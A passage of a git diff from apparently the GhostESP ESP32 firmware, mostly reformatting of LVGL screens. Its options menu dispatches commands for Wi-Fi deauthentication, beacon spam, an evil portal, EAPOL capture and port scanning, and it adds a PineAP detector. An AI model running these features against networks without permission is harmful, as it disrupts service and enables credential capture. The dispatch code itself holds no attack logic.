bar_width, 1); - lv_obj_align(view.bars[i], LV_ALIGN_BOTTOM_LEFT, label_x_offset + (bar_spacing * i), -bar_y_offset); - - - lv_obj_set_style_radius(view.bars[i], 0, LV_PART_MAIN); - lv_obj_set_style_bg_opa(view.bars[i], LV_OPA_COVER, LV_PART_MAIN); - lv_obj_set_style_bg_color(view.bars[i], lv_color_make(147, 112, 219), LV_PART_MAIN); - lv_obj_set_style_bg_grad_color(view.bars[i], lv_color_make(147, 112, 219), LV_PART_MAIN); - lv_obj_set_style_bg_grad_dir(view.bars[i], LV_GRAD_DIR_VER, LV_PART_MAIN); + lv_obj_set_height(view.bars[i], amplitudeData.bars[i]); } - - for (int i = 0; i < NUM_PARTICLES; i++) { - particles[i].obj = lv_obj_create(music_visualizer_view.root); - lv_obj_set_size(particles[i].obj, 1, 1); - lv_obj_set_style_radius(particles[i].obj, LV_RADIUS_CIRCLE, LV_PART_MAIN); - lv_obj_set_style_bg_color(particles[i].obj, lv_color_white(), LV_PART_MAIN); - particles[i].x = 0; - particles[i].y = rand() % LV_VER_RES; - particles[i].velocity = 1 + rand() % 3; - lv_obj_align(particles[i].obj, LV_ALIGN_TOP_LEFT, particles[i].x, particles[i].y); + } + + for (int i = 0; i < NUM_PARTICLES; i++) { + particles[i].x += particles[i].velocity; + if (particles[i].x > LV_HOR_RES) { + particles[i].x = 0; + particles[i].y = rand() % LV_VER_RES; + particles[i].velocity = 1 + rand() % 3; } - - display_manager_add_status_bar(LV_VER_RES > 320 ? "Rave Mode" : "Rave"); - - amplitudeQueue = xQueueCreate(10, sizeof(AmplitudeData)); - animation_timer = lv_timer_create(animation_timer_callback, ANIMATION_INTERVAL_MS, NULL); + lv_obj_set_pos(particles[i].obj, particles[i].x, particles[i].y); + } } -void animation_timer_callback(lv_timer_t *timer) { - AmplitudeData amplitudeData; - bool dataAvailable = xQueueReceive(amplitudeQueue, &litudeData, 0) == pdTRUE; +void music_visualizer_view_update(const uint8_t *amplitudes, + const char *track_name, + const char *artist_name) { - if (dataAvailable) { - for (int i = 0; i < NUM_BARS; i++) { - lv_obj_set_height(view.bars[i], amplitudeData.bars[i]); - } + if (music_visualizer_view.root) { + if (strcmp(lv_label_get_text(view.track_label), track_name) != 0) { + lv_label_set_text(view.track_label, track_name); } - - for (int i = 0; i < NUM_PARTICLES; i++) { - particles[i].x += particles[i].velocity; - if (particles[i].x > LV_HOR_RES) { - particles[i].x = 0; - particles[i].y = rand() % LV_VER_RES; - particles[i].velocity = 1 + rand() % 3; - } - lv_obj_set_pos(particles[i].obj, particles[i].x, particles[i].y); + if (strcmp(lv_label_get_text(view.artist_label), artist_name) != 0) { + lv_label_set_text(view.artist_label, artist_name); } -} -void music_visualizer_view_update(const uint8_t *amplitudes, const char *track_name, const char *artist_name) { - - if (music_visualizer_view.root) { - if (strcmp(lv_label_get_text(view.track_label), track_name) != 0) { - lv_label_set_text(view.track_label, track_name); - } - if (strcmp(lv_label_get_text(view.artist_label), artist_name) != 0) { - lv_label_set_text(view.artist_label, artist_name); - } - - AmplitudeData amplitudeData; - for (int i = 0; i < NUM_BARS; i++) { - amplitudeData.bars[i] = amplitudes[i]; - } - xQueueSend(amplitudeQueue, &litudeData, portMAX_DELAY); + AmplitudeData amplitudeData; + for (int i = 0; i < NUM_BARS; i++) { + amplitudeData.bars[i] = amplitudes[i]; } + xQueueSend(amplitudeQueue, &litudeData, portMAX_DELAY); + } } void music_visualizer_destroy(void) { - if (animation_timer) { - lv_timer_del(animation_timer); - animation_timer = NULL; - } - - if (root) { - lv_obj_del(root); - root = NULL; - music_visualizer_view.root = NULL; - } - if (amplitudeQueue) { - vQueueDelete(amplitudeQueue); - amplitudeQueue = NULL; - } + if (animation_timer) { + lv_timer_del(animation_timer); + animation_timer = NULL; + } + + if (root) { + lv_obj_del(root); + root = NULL; + music_visualizer_view.root = NULL; + } + if (amplitudeQueue) { + vQueueDelete(amplitudeQueue); + amplitudeQueue = NULL; + } } \ No newline at end of file diff --git a/main/managers/views/options_screen.c b/main/managers/views/options_screen.c index ae970c8d..f3dbdeb2 100644 --- a/main/managers/views/options_screen.c +++ b/main/managers/views/options_screen.c @@ -1,12 +1,13 @@ #include "managers/views/options_screen.h" -#include "managers/views/terminal_screen.h" -#include "managers/views/main_menu_screen.h" -#include "managers/views/error_popup.h" -#include "managers/wifi_manager.h" -#include "freertos/FreeRTOS.h" -#include "freertos/task.h" #include "core/serial_manager.h" +#include "esp_timer.h" #include "esp_wifi_types.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "managers/views/error_popup.h" +#include "managers/views/main_menu_screen.h" +#include "managers/views/terminal_screen.h" +#include "managers/wifi_manager.h" #include EOptionsMenuType SelectedMenuType = OT_Wifi; @@ -14,91 +15,77 @@ int selected_item_index = 0; lv_obj_t *root = NULL; lv_obj_t *menu_container = NULL; int num_items = 0; +unsigned long createdTimeInMs = 0; static void select_menu_item(int index); // Forward Declaration -const char* options_menu_type_to_string(EOptionsMenuType menuType) { +const char *options_menu_type_to_string(EOptionsMenuType menuType) { switch (menuType) { - case OT_Wifi: - return "Wi-Fi"; - case OT_Bluetooth: - return "BLE"; - case OT_GPS: - return "GPS"; - case OT_Settings: - return "Settings"; - default: - return "Unknown"; + case OT_Wifi: + return "Wi-Fi"; + case OT_Bluetooth: + return "BLE"; + case OT_GPS: + return "GPS"; + case OT_Settings: + return "Settings"; + default: + return "Unknown"; } } -static const char *wifi_options[] = { - "Scan Access Points", - "Scan LAN Devices", - "Start Deauth Attack", - "Beacon Spam - Random", - "Beacon Spam - Rickroll", - "Beacon Spam - List", - "Start Evil Portal", - "Capture Probe", - "Capture Deauth", - "Capture Beacon", - "Capture Raw", - "Capture Eapol", - "Capture WPS", - "Capture PWN", - "TV Cast (Dial Connect)", - "Power Printer", - "TP Link Test", - "Go Back", - NULL -}; - -static const char *bluetooth_options[] = { - "Find Flippers", - "Start AirTag Scanner", - "Raw BLE Scanner", - "BLE Skimmer Detect", - "Go Back", - NULL -}; - -static const char *gps_options[] = { - "Start Wardriving", - "Stop Wardriving", - "GPS Info", - "BLE Wardriving", - "Go Back", - NULL -}; - -static const char *settings_options[] = { - "Set RGB Mode - Stealth", - "Set RGB Mode - Normal", - "Set RGB Mode - Rainbow", - "Go Back", - NULL -}; - +static const char *wifi_options[] = {"Scan Access Points", + "Scan LAN Devices", + "Start Deauth Attack", + "Beacon Spam - Random", + "Beacon Spam - Rickroll", + "Beacon Spam - List", + "Start Evil Portal", + "Capture Probe", + "Capture Deauth", + "Capture Beacon", + "Capture Raw", + "Capture Eapol", + "Capture WPS", + "Capture PWN", + "TV Cast (Dial Connect)", + "Power Printer", + "TP Link Test", + "PineAP Detection", + "Scan Open Ports", + "Go Back", + NULL}; + +static const char *bluetooth_options[] = {"Find Flippers", "Start AirTag Scanner", + "Raw BLE Scanner", "BLE Skimmer Detect", + "Go Back", NULL}; + +static const char *gps_options[] = {"Start Wardriving", "Stop Wardriving", "GPS Info", + "BLE Wardriving", "Go Back", NULL}; + +static const char *settings_options[] = {"Set RGB Mode - Stealth", "Set RGB Mode - Normal", + "Set RGB Mode - Rainbow", "Go Back", NULL}; void options_menu_create() { int screen_width = LV_HOR_RES; int screen_height = LV_VER_RES; - display_manager_fill_screen(lv_color_black()); - root = lv_obj_create(lv_scr_act()); options_menu_view.root = root; - lv_obj_set_size(root, LV_HOR_RES, LV_VER_RES); + lv_obj_set_size(root, screen_width, screen_height); lv_obj_set_style_bg_color(root, lv_color_black(), 0); lv_obj_set_style_pad_all(root, 0, 0); lv_obj_align(root, LV_ALIGN_TOP_LEFT, 0, 0); lv_obj_set_scrollbar_mode(root, LV_SCROLLBAR_MODE_OFF); - +#ifdef CONFIG_JC3248W535EN_LCD + screen_width -= 50; +#endif + lv_obj_t *list = lv_list_create(root); + lv_obj_set_size(list, LV_HOR_RES, LV_VER_RES - 17); lv_obj_align(list, LV_ALIGN_TOP_LEFT, 0, 17); lv_obj_set_style_pad_all(list, 0, 0); @@ -109,39 +96,35 @@ void options_menu_create() { menu_container = list; - const char **options = NULL; switch (SelectedMenuType) { - case OT_Wifi: - options = wifi_options; - break; - case OT_Bluetooth: - options = bluetooth_options; - break; - case OT_GPS: - options = gps_options; - break; - case OT_Settings: - options = settings_options; - break; - default: - options = NULL; - break; + case OT_Wifi: + options = wifi_options; + break; + case OT_Bluetooth: + options = bluetooth_options; + break; + case OT_GPS: + options = gps_options; + break; + case OT_Settings: + options = settings_options; + break; + default: + options = NULL; + break; } - if (options == NULL) { display_manager_switch_view(&main_menu_view); return; } - num_items = 0; for (int i = 0; options[i] != NULL; i++) { lv_obj_t *btn = lv_list_add_btn(list, NULL, options[i]); - if (screen_height < 200) { lv_obj_set_style_radius(btn, 0, 0); lv_obj_set_style_text_font(btn, &lv_font_montserrat_12, 0); @@ -150,15 +133,13 @@ void options_menu_create() { lv_obj_set_style_text_font(btn, &lv_font_montserrat_16, 0); } - lv_obj_set_style_border_width(btn, 0, LV_PART_MAIN); lv_obj_set_style_bg_color(btn, lv_color_black(), LV_PART_MAIN); - lv_obj_set_style_bg_opa(btn, LV_OPA_COVER, LV_PART_MAIN); + lv_obj_set_style_bg_opa(btn, LV_OPA_COVER, LV_PART_MAIN); lv_obj_set_style_text_color(btn, lv_color_white(), LV_PART_MAIN); lv_obj_set_user_data(btn, (void *)options[i]); - lv_obj_add_event_cb(btn, option_event_cb, LV_EVENT_CLICKED, (void *)options[i]); num_items++; @@ -167,13 +148,17 @@ void options_menu_create() { select_menu_item(0); display_manager_add_status_bar(options_menu_type_to_string(SelectedMenuType)); + + createdTimeInMs = (unsigned long)(esp_timer_get_time() / 1000ULL); } static void select_menu_item(int index) { printf("select_menu_item called with index: %d, num_items: %d\n", index, num_items); - if (index < 0) index = num_items - 1; - if (index >= num_items) index = 0; + if (index < 0) + index = num_items - 1; + if (index >= num_items) + index = 0; printf("Adjusted index: %d\n", index); @@ -191,19 +176,18 @@ static void select_menu_item(int index) { } } - lv_obj_t *current_item = lv_obj_get_child(menu_container, selected_item_index); if (current_item) { lv_color_t deep_orange = lv_color_make(255, 87, 34); lv_color_t darker_orange = lv_color_make(150, 45, 15); lv_obj_set_style_bg_color(current_item, deep_orange, LV_PART_MAIN); lv_obj_set_style_bg_opa(current_item, LV_OPA_COVER, LV_PART_MAIN); - + lv_obj_set_style_radius(current_item, 12, LV_PART_MAIN); lv_obj_set_style_border_side(current_item, LV_BORDER_SIDE_FULL, LV_PART_MAIN); lv_obj_set_style_border_color(current_item, darker_orange, LV_PART_MAIN); lv_obj_set_style_border_width(current_item, 2, LV_PART_MAIN); - + lv_obj_scroll_to_view(current_item, LV_ANIM_OFF); } else { printf("Error: Current item not found for index %d\n", selected_item_index); @@ -211,6 +195,11 @@ static void select_menu_item(int index) { } void handle_hardware_button_press_options(InputEvent *event) { +#ifdef CONFIG_JC3248W535EN_LCD + // lvgl on the JC3248W535EN doesn't require custom input handling + return; +#endif + if (event->type == INPUT_TYPE_TOUCH) { lv_indev_data_t *data = &event->data.touch_data; @@ -222,10 +211,27 @@ void handle_hardware_button_press_options(InputEvent *event) { } else if (data->point.y > 2 * third_height) { select_menu_item(selected_item_index + 1); } else { - const char *selected_option = (const char *)lv_label_get_text( - lv_obj_get_child(lv_obj_get_child(menu_container, selected_item_index), 0) - ); - option_event_cb(selected_option); + // Get the selected menu item safely + lv_obj_t *selected_obj = lv_obj_get_child(menu_container, selected_item_index); + if (!selected_obj) { + printf("Error: Could not get selected menu item\n"); + return; + } + + // Get the label object safely + lv_obj_t *label_obj = lv_obj_get_child(selected_obj, 0); + if (!label_obj) { + printf("Error: Could not get label object\n"); + return; + } + + const char *selected_option = lv_label_get_text(label_obj); + if (!selected_option) { + printf("Error: Could not get label text\n"); + return; + } + + handle_option_directly(selected_option); } } else if (event->type == INPUT_TYPE_JOYSTICK) { int button = event->data.joystick_index; @@ -235,15 +241,39 @@ void handle_hardware_button_press_options(InputEvent *event) { } else if (button == 4) { select_menu_item(selected_item_index + 1); } else if (button == 1) { - const char *selected_option = (const char *)lv_label_get_text( - lv_obj_get_child(lv_obj_get_child(menu_container, selected_item_index), 0) - ); - option_event_cb(selected_option); + + // Get the selected menu item safely + lv_obj_t *selected_obj = lv_obj_get_child(menu_container, selected_item_index); + if (!selected_obj) { + printf("Error: Could not get selected menu item\n"); + return; + } + + // Get the label object safely + lv_obj_t *label_obj = lv_obj_get_child(selected_obj, 0); + if (!label_obj) { + printf("Error: Could not get label object\n"); + return; + } + + const char *selected_option = lv_label_get_text(label_obj); + if (!selected_option) { + printf("Error: Could not get label text\n"); + return; + } + + handle_option_directly(selected_option); } } } -void option_event_cb(const char* Selected_Option) { +void option_event_cb(lv_event_t *e) { + // when moving to the options screen ignore any click events for 1s + if ((esp_timer_get_time() / 1000ULL) - createdTimeInMs <= 500) { + return; + } + + const char *Selected_Option = (const char *)lv_event_get_user_data(e); if (strcmp(Selected_Option, "Scan Access Points") == 0) { display_manager_switch_view(&terminal_view); @@ -262,18 +292,14 @@ void option_event_cb(const char* Selected_Option) { } if (strcmp(Selected_Option, "Scan Stations") == 0) { - if (strlen((const char*)selected_ap.ssid) > 0) - { + if (strlen((const char *)selected_ap.ssid) > 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("scansta"); - } - else - { + } else { error_popup_create("You Need to Select a Scanned AP First..."); } } - if (strcmp(Selected_Option, "Beacon Spam - Random") == 0) { display_manager_switch_view(&terminal_view); @@ -281,7 +307,6 @@ void option_event_cb(const char* Selected_Option) { simulateCommand("beaconspam -r"); } - if (strcmp(Selected_Option, "Beacon Spam - Rickroll") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); @@ -294,21 +319,16 @@ void option_event_cb(const char* Selected_Option) { simulateCommand("scanlocal"); } - if (strcmp(Selected_Option, "Beacon Spam - List") == 0) { - if (scanned_aps) - { + if (scanned_aps) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("beaconspam -l"); - } - else - { + } else { error_popup_create("You Need to Scan AP's First..."); } } - if (strcmp(Selected_Option, "Capture Deauth") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); @@ -363,42 +383,38 @@ void option_event_cb(const char* Selected_Option) { simulateCommand("startportal"); } - if (strcmp(Selected_Option, "Start Wardriving") == 0) - { + if (strcmp(Selected_Option, "Start Wardriving") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("startwd"); } - if (strcmp(Selected_Option, "Stop Wardriving") == 0) - { + if (strcmp(Selected_Option, "Stop Wardriving") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("startwd -s"); } -if (strcmp(Selected_Option, "Start AirTag Scanner") == 0) { + if (strcmp(Selected_Option, "Start AirTag Scanner") == 0) { #ifndef CONFIG_IDF_TARGET_ESP32S2 display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("blescan -a"); -#else - error_popup_create("Device Does not Support Bluetooth..."); +#else + error_popup_create("Device Does not Support Bluetooth..."); #endif } - -if (strcmp(Selected_Option, "Find Flippers") == 0) { + if (strcmp(Selected_Option, "Find Flippers") == 0) { #ifndef CONFIG_IDF_TARGET_ESP32S2 display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("blescan -f"); -#else - error_popup_create("Device Does not Support Bluetooth..."); +#else + error_popup_create("Device Does not Support Bluetooth..."); #endif } - if (strcmp(Selected_Option, "Set RGB Mode - Stealth") == 0) { simulateCommand("setsetting 1 1"); vTaskDelay(pdMS_TO_TICKS(10)); @@ -417,10 +433,15 @@ if (strcmp(Selected_Option, "Find Flippers") == 0) { error_popup_create("Set RGB Mode Successfully..."); } - - if (strcmp(Selected_Option, "Go Back") == 0) { + // Clear any state before switching views + selected_item_index = 0; + num_items = 0; + menu_container = NULL; + root = NULL; + display_manager_switch_view(&main_menu_view); + return; // Important: return immediately after initiating view switch } else { printf("Option selected: %s\n", Selected_Option); } @@ -442,8 +463,8 @@ if (strcmp(Selected_Option, "Find Flippers") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("blescan -r"); -#else - error_popup_create("Device Does not Support Bluetooth..."); +#else + error_popup_create("Device Does not Support Bluetooth..."); #endif } @@ -452,8 +473,8 @@ if (strcmp(Selected_Option, "Find Flippers") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("capture -skimmer"); -#else - error_popup_create("Device Does not Support Bluetooth..."); +#else + error_popup_create("Device Does not Support Bluetooth..."); #endif } @@ -468,29 +489,54 @@ if (strcmp(Selected_Option, "Find Flippers") == 0) { display_manager_switch_view(&terminal_view); vTaskDelay(pdMS_TO_TICKS(10)); simulateCommand("blewardriving"); -#else - error_popup_create("Device Does not Support Bluetooth..."); +#else + error_popup_create("Device Does not Support Bluetooth..."); #endif } + + if (strcmp(Selected_Option, "PineAP Detection") == 0) { + display_manager_switch_view(&terminal_view); + vTaskDelay(pdMS_TO_TICKS(10)); + simulateCommand("pineap"); + } + + if (strcmp(Selected_Option, "Scan Open Ports") == 0) { + display_manager_switch_view(&terminal_view); + vTaskDelay(pdMS_TO_TICKS(10)); + simulateCommand("scanports local -C"); + } } -void options_menu_destroy() { +void handle_option_directly(const char *Selected_Option) { + lv_event_t e; + e.user_data = (void *)Selected_Option; + option_event_cb(&e); +} + +void options_menu_destroy(void) { if (options_menu_view.root) { + // First clean up any child objects + if (menu_container) { + lv_obj_clean(menu_container); + menu_container = NULL; + } + + // Then clean up the root object lv_obj_clean(options_menu_view.root); lv_obj_del(options_menu_view.root); options_menu_view.root = NULL; + + // Reset state + selected_item_index = 0; + num_items = 0; } } -void get_options_menu_callback(void **callback) { - *callback = options_menu_view.input_callback; -} +void get_options_menu_callback(void **callback) { *callback = options_menu_view.input_callback; } -View options_menu_view = { - .root = NULL, - .create = options_menu_create, - .destroy = options_menu_destroy, - .input_callback = handle_hardware_button_press_options, - .name = "Options Screen", - .get_hardwareinput_callback = get_options_menu_callback -}; \ No newline at end of file +View options_menu_view = {.root = NULL, + .create = options_menu_create, + .destroy = options_menu_destroy, + .input_callback = handle_hardware_button_press_options, + .name = "Options Screen", + .get_hardwareinput_callback = get_options_menu_callback}; \ No newline at end of file diff --git a/main/managers/views/splash_screen.c b/main/managers/views/splash_screen.c index 8562327e..7221b09b 100644 --- a/main/managers/views/splash_screen.c +++ b/main/managers/views/splash_screen.c @@ -6,74 +6,61 @@ lv_obj_t *splash_screen; lv_obj_t *img; - static void fade_anim_cb(void *var, int32_t opacity); static void fade_out_cb(void *var); - void splash_create(void) { - display_manager_fill_screen(lv_color_black()); - - splash_screen = lv_obj_create(lv_scr_act()); - splash_view.root = splash_screen; - lv_obj_set_size(splash_screen, LV_HOR_RES, LV_VER_RES); - lv_obj_clear_flag(splash_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(splash_screen, LV_OPA_TRANSP, LV_PART_MAIN); - lv_obj_set_style_border_width(splash_screen, 0, LV_PART_MAIN); - lv_obj_set_style_pad_all(splash_screen, 0, LV_PART_MAIN); - lv_obj_set_style_radius(splash_screen, 0, LV_PART_MAIN); - - - img = lv_img_create(splash_screen); - lv_img_set_src(img, &Ghost_ESP); - lv_obj_align(img, LV_ALIGN_CENTER, 0, 0); - - - if (LV_VER_RES < 140) - { - lv_img_set_zoom(img, 128); - } - - - - lv_anim_t fade_anim; - lv_anim_init(&fade_anim); - - lv_anim_set_var(&fade_anim, img); - lv_anim_set_values(&fade_anim, LV_OPA_0, LV_OPA_100); - lv_anim_set_time(&fade_anim, 100); - lv_anim_set_playback_delay(&fade_anim, 0); - lv_anim_set_playback_time(&fade_anim, 100); - lv_anim_set_repeat_count(&fade_anim, 2); - lv_anim_set_exec_cb(&fade_anim, fade_anim_cb); - lv_anim_set_ready_cb(&fade_anim, fade_out_cb); - lv_anim_start(&fade_anim); + display_manager_fill_screen(lv_color_black()); + + splash_screen = lv_obj_create(lv_scr_act()); + splash_view.root = splash_screen; + lv_obj_set_size(splash_screen, LV_HOR_RES, LV_VER_RES); + lv_obj_clear_flag(splash_screen, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(splash_screen, LV_OPA_TRANSP, LV_PART_MAIN); + lv_obj_set_style_border_width(splash_screen, 0, LV_PART_MAIN); + lv_obj_set_style_pad_all(splash_screen, 0, LV_PART_MAIN); + lv_obj_set_style_radius(splash_screen, 0, LV_PART_MAIN); + + img = lv_img_create(splash_screen); + lv_img_set_src(img, &Ghost_ESP); + lv_obj_align(img, LV_ALIGN_CENTER, 0, 0); + + if (LV_VER_RES < 140) { + lv_img_set_zoom(img, 128); + } + + lv_anim_t fade_anim; + lv_anim_init(&fade_anim); + + lv_anim_set_var(&fade_anim, img); + lv_anim_set_values(&fade_anim, LV_OPA_0, LV_OPA_100); + lv_anim_set_time(&fade_anim, 100); + lv_anim_set_playback_delay(&fade_anim, 0); + lv_anim_set_playback_time(&fade_anim, 100); + lv_anim_set_repeat_count(&fade_anim, 2); + lv_anim_set_exec_cb(&fade_anim, fade_anim_cb); + lv_anim_set_ready_cb(&fade_anim, fade_out_cb); + lv_anim_start(&fade_anim); } - static void fade_anim_cb(void *var, int32_t opacity) { - lv_obj_set_style_img_opa((lv_obj_t *)var, opacity, LV_PART_MAIN); + lv_obj_set_style_img_opa((lv_obj_t *)var, opacity, LV_PART_MAIN); } - static void fade_out_cb(void *var) { - display_manager_switch_view(&main_menu_view); + display_manager_switch_view(&main_menu_view); } - void splash_destroy(void) { - if (splash_screen) { - lv_obj_del(splash_screen); - splash_screen = NULL; - } + if (splash_screen) { + lv_obj_del(splash_screen); + splash_screen = NULL; + } } - -View splash_view = { - .root = NULL, - .create = splash_create, - .destroy = splash_destroy, - .input_callback = NULL, - .name = "Splash Screen" -}; \ No newline at end of file +View splash_view = {.root = NULL, + .create = splash_create, + .destroy = splash_destroy, + .input_callback = NULL, + .name = "Splash Screen"}; \ No newline at end of file diff --git a/main/managers/views/terminal_screen.c b/main/managers/views/terminal_screen.c index ca9750bd..dd10c7db 100644 --- a/main/managers/views/terminal_screen.c +++ b/main/managers/views/terminal_screen.c @@ -1,11 +1,11 @@ #include "managers/views/terminal_screen.h" -#include "managers/views/main_menu_screen.h" #include "core/serial_manager.h" -#include "managers/wifi_manager.h" +#include "esp_log.h" #include "freertos/FreeRTOS.h" #include "freertos/event_groups.h" +#include "managers/views/main_menu_screen.h" +#include "managers/wifi_manager.h" #include -#include "esp_log.h" #include static const char *TAG = "Terminal"; @@ -21,264 +21,270 @@ static bool is_stopping = false; // Message queue system typedef struct { - char messages[MAX_QUEUE_SIZE][MAX_MESSAGE_SIZE]; - int head; - int tail; - int count; + char messages[MAX_QUEUE_SIZE][MAX_MESSAGE_SIZE]; + int head; + int tail; + int count; } MessageQueue; -static MessageQueue message_queue = { - .head = 0, - .tail = 0, - .count = 0 -}; - -static void queue_message(const char* text) { - if (message_queue.count >= MAX_QUEUE_SIZE) { - // Remove oldest message by advancing head - message_queue.head = (message_queue.head + 1) % MAX_QUEUE_SIZE; - message_queue.count--; - } - - strncpy(message_queue.messages[message_queue.tail], text, MAX_MESSAGE_SIZE - 1); - message_queue.messages[message_queue.tail][MAX_MESSAGE_SIZE - 1] = '\0'; - - message_queue.tail = (message_queue.tail + 1) % MAX_QUEUE_SIZE; - message_queue.count++; +static MessageQueue message_queue = {.head = 0, .tail = 0, .count = 0}; + +static void queue_message(const char *text) { + if (message_queue.count >= MAX_QUEUE_SIZE) { + // Remove oldest message by advancing head + message_queue.head = (message_queue.head + 1) % MAX_QUEUE_SIZE; + message_queue.count--; + } + + strncpy(message_queue.messages[message_queue.tail], text, + MAX_MESSAGE_SIZE - 1); + message_queue.messages[message_queue.tail][MAX_MESSAGE_SIZE - 1] = '\0'; + + message_queue.tail = (message_queue.tail + 1) % MAX_QUEUE_SIZE; + message_queue.count++; } static void clear_message_queue(void) { - message_queue.head = 0; - message_queue.tail = 0; - message_queue.count = 0; + message_queue.head = 0; + message_queue.tail = 0; + message_queue.count = 0; } static void process_queued_messages(void) { - while (message_queue.count > 0) { - const char* msg = message_queue.messages[message_queue.head]; - terminal_view_add_text(msg); - - message_queue.head = (message_queue.head + 1) % MAX_QUEUE_SIZE; - message_queue.count--; - } + while (message_queue.count > 0) { + const char *msg = message_queue.messages[message_queue.head]; + terminal_view_add_text(msg); + + message_queue.head = (message_queue.head + 1) % MAX_QUEUE_SIZE; + message_queue.count--; + } } int custom_log_vprintf(const char *fmt, va_list args); static int (*default_log_vprintf)(const char *, va_list) = NULL; static void scroll_terminal_up(void) { - if (!terminal_textarea) return; - - lv_coord_t font_height = lv_font_get_line_height(lv_obj_get_style_text_font(terminal_textarea, LV_PART_MAIN)); - lv_coord_t visible_lines = lv_obj_get_height(terminal_textarea) / font_height; - - int scroll_amount = LV_MAX(visible_lines / 4, 1); - lv_obj_scroll_by(terminal_textarea, 0, font_height * scroll_amount, LV_ANIM_OFF); + if (!terminal_textarea) + return; + + lv_coord_t font_height = lv_font_get_line_height( + lv_obj_get_style_text_font(terminal_textarea, LV_PART_MAIN)); + lv_coord_t visible_lines = lv_obj_get_height(terminal_textarea) / font_height; + + int scroll_amount = LV_MAX(visible_lines / 4, 1); + lv_obj_scroll_by(terminal_textarea, 0, font_height * scroll_amount, + LV_ANIM_OFF); } static void scroll_terminal_down(void) { - if (!terminal_textarea) return; - - lv_coord_t font_height = lv_font_get_line_height(lv_obj_get_style_text_font(terminal_textarea, LV_PART_MAIN)); - lv_coord_t visible_lines = lv_obj_get_height(terminal_textarea) / font_height; - - int scroll_amount = LV_MAX(visible_lines / 4, 1); - lv_obj_scroll_by(terminal_textarea, 0, -font_height * scroll_amount, LV_ANIM_OFF); + if (!terminal_textarea) + return; + + lv_coord_t font_height = lv_font_get_line_height( + lv_obj_get_style_text_font(terminal_textarea, LV_PART_MAIN)); + lv_coord_t visible_lines = lv_obj_get_height(terminal_textarea) / font_height; + + int scroll_amount = LV_MAX(visible_lines / 4, 1); + lv_obj_scroll_by(terminal_textarea, 0, -font_height * scroll_amount, + LV_ANIM_OFF); } static void stop_all_operations(void) { - terminal_active = false; - is_stopping = true; - clear_message_queue(); // Clear queue before sending stop commands - - // Stop all operations through command system - simulateCommand("stop"); // Stops WiFi operations - simulateCommand("stopspam"); // Stops beacon spam - simulateCommand("stopdeauth"); // Stops deauth attacks - simulateCommand("capture -stop"); // Stops packet capture - simulateCommand("stopportal"); // Stops evil portal - simulateCommand("gpsinfo -s"); // Stops GPS operations - simulateCommand("blewardriving -s"); // Stops BLE operations - - display_manager_switch_view(&options_menu_view); + terminal_active = false; + is_stopping = true; + clear_message_queue(); // Clear queue before sending stop commands + + // Stop all operations through command system + simulateCommand("stop"); // Stops WiFi operations + simulateCommand("stopspam"); // Stops beacon spam + simulateCommand("stopdeauth"); // Stops deauth attacks + simulateCommand("capture -stop"); // Stops packet capture + simulateCommand("stopportal"); // Stops evil portal + simulateCommand("gpsinfo -s"); // Stops GPS operations + simulateCommand("blewardriving -s"); // Stops BLE operations + simulateCommand("pineap -s"); // Stops PineAP detection + + display_manager_switch_view(&options_menu_view); } void terminal_view_create(void) { - is_stopping = false; - if (terminal_view.root != NULL) { - return; - } - - // Create mutex if it doesn't exist + is_stopping = false; + if (terminal_view.root != NULL) { + return; + } + + // Create mutex if it doesn't exist + if (!terminal_mutex) { + terminal_mutex = xSemaphoreCreateMutex(); if (!terminal_mutex) { - terminal_mutex = xSemaphoreCreateMutex(); - if (!terminal_mutex) { - ESP_LOGE(TAG, "Failed to create terminal mutex"); - return; - } + ESP_LOGE(TAG, "Failed to create terminal mutex"); + return; } - - terminal_active = true; - - terminal_view.root = lv_obj_create(lv_scr_act()); - lv_obj_set_size(terminal_view.root, LV_HOR_RES, LV_VER_RES); - lv_obj_set_style_bg_color(terminal_view.root, lv_color_black(), 0); - lv_obj_set_scrollbar_mode(terminal_view.root, LV_SCROLLBAR_MODE_OFF); - - terminal_textarea = lv_textarea_create(terminal_view.root); - - // Improved text area configuration - lv_obj_set_style_bg_color(terminal_textarea, lv_color_black(), 0); - lv_obj_set_style_bg_opa(terminal_textarea, LV_OPA_TRANSP, 0); // Make background transparent - lv_textarea_set_one_line(terminal_textarea, false); - lv_textarea_set_text(terminal_textarea, ""); - lv_obj_set_size(terminal_textarea, LV_HOR_RES, LV_VER_RES); - - // Scrolling behavior - lv_obj_set_scrollbar_mode(terminal_textarea, LV_SCROLLBAR_MODE_AUTO); - lv_obj_set_scroll_snap_y(terminal_textarea, LV_SCROLL_SNAP_NONE); - lv_obj_set_style_anim_time(terminal_textarea, 150, 0); - - // Text appearance - lv_obj_set_style_text_color(terminal_textarea, lv_color_hex(0x00FF00), 0); - lv_obj_set_style_text_font(terminal_textarea, &lv_font_montserrat_10, 0); - lv_obj_set_style_border_width(terminal_textarea, 0, 0); - - // Additional robustness settings - lv_textarea_set_text_selection(terminal_textarea, false); - lv_textarea_set_password_mode(terminal_textarea, false); - lv_textarea_set_cursor_click_pos(terminal_textarea, false); // Disable cursor positioning - lv_obj_add_flag(terminal_textarea, LV_OBJ_FLAG_SCROLL_CHAIN); // Enable scroll chain - lv_obj_clear_flag(terminal_textarea, LV_OBJ_FLAG_CLICKABLE); // Disable clicking - - display_manager_add_status_bar("Terminal"); - - // Process any queued messages after terminal is ready - process_queued_messages(); + } + + terminal_active = true; + + terminal_view.root = 